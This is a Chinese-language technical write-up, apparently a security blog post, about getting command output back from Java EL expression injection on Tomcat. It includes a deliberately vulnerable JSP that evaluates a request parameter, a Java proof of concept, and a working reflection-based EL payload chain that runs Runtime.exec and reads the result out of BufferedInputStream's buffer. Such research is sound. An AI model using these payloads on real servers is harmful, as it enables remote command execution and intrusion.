RCE回显主要两个步骤:
- exec执行后获取InputStream
- InputStream转换成String
EL表达式注入回显的关键点
1. 获取对象
EL表达式注入比SpEL表达式注入复杂一点,例如不能通过new创建对象
也就是说,要创建一个对象,只能通过无需new对象就能调用的方法,例如static
修饰的方法
或者,直接用反射就能够获取对象了
这里又有些限制,不过问题不大:获取类必须是全类名。SpEL中在java.lang的类直接短类名T(Integer)
就能索引成功
class
关键字也是没法直接用于获取类的
2. 变量传递
一个${}
标签可以执行多行java代码,用分号分隔,返回值是最后一段
可以支持解析多个标签
可以看出来变量赋值是可以跨标签的,也就是变量会写入上下文,并且由解析器维护
不过一般EL表达式注入不直接写赋值表达式从而保存在上下文中,而是直接调用上下文的getter和setter
3. 将exec的返回值InputStream转换成String
exec可以通过getInputStream()获取运行结果
但是要想将InputStream转换成String是个比较复杂的过程,jdk9以后提供了readAllBytes()可以直接返回byte[],9之前就需要多个类转换才能实现
而且用BufferedReader.readLine()还会存在一个循环体去处理多行返回值的情况,下列是一些常见的InputStream转String的办法
探究如何在尽量不引入新类的情况下完成转换?
大前提是可以用反射的,那就沿着这条路走。首先exec.getInputStream()
的返回值是InputStream的子类BufferedInputStream
可以看到对于exec.getInputStream()
获取到的BufferedInputStream对象,有一个空的byte[8192]的buffer,还有一个FileInputStream,执行结果应该就在其中
看一下BufferedInputStream类自带统计长度的available()方法是如何实现的,调用了getInIfOpen().available()
可知前面猜想是正确的:BufferedInputStream的属性in(定义于父类FilterInputStram)以FileInputStream形式存储了执行结果
正好in和BufferedInputStream都是InputStream,且BufferedInputStream还有一个空闲的buf,那么exec的返回值通过调用自身BufferedInputStream()
方法,赋值给buf,再通过反射获取,转换成String就显而易见了。这样就没有通过引入新的类(BufferedReader)完成了BufferedInputStream转换成String
调用流程如下:
这样就在没有引入新类的情况下完成了回显
环境
jdk 8u191 + tomcat 8.5.100 + tomcat-jasper 10.1.5
<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="org.apache.jasper.runtime.PageContextImpl" %>
<%
String response = (String) PageContextImpl.proprietaryEvaluate(request.getParameter("expr"), String.class, pageContext, null);
out.print(response);
%>
构造Payload
先在java中实现调用链:
exec之后需要等待流写入
package runtime;
import java.io.BufferedInputStream;
import java.lang.reflect.Field;
public class Mainn {
public static void main(String[] args) throws Exception{
BufferedInputStream bis = (BufferedInputStream) Runtime.getRuntime().exec("whoami").getInputStream();
Thread.sleep(500);
Class bisClazz = Class.forName("java.io.BufferedInputStream");
Field bufField = bisClazz.getDeclaredField("buf");
bufField.setAccessible(true);
bis.read((byte[]) bufField.get(bis),0, bis.available());
String result = (String) Class.forName("java.lang.String").getDeclaredConstructor(Class.forName("[B"), Class.forName("java.lang.String")).newInstance(bufField.get(bis), "gbk");
System.out.println(result);
}
}
转写成EL表达式:
${pageContext.setAttribute("is",Runtime.getRuntime().exec("whoami").getInputStream())}
${Thread.sleep(500)}
${pageContext.setAttribute("bufField",Class.forName("java.io.BufferedInputStream").getDeclaredField("buf"))}
${pageContext.getAttribute("bufField").setAccessible(true)}
${pageContext.getAttribute("is").read(pageContext.getAttribute("bufField").get(pageContext.getAttribute("is")),0,pageContext.getAttribute("is").available())}
${Class.forName("java.lang.String").getDeclaredConstructor(Class.forName("[B"),Class.forName("java.lang.String")).newInstance(pageContext.getAttribute("bufField").get(pageContext.getAttribute("is")), "gbk")}
gbk是为了避免cmd乱码问题,不过前提是jsp要指定编码<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
否则无效
参考
How do I read / convert an InputStream into a String in Java? - Stack Overflow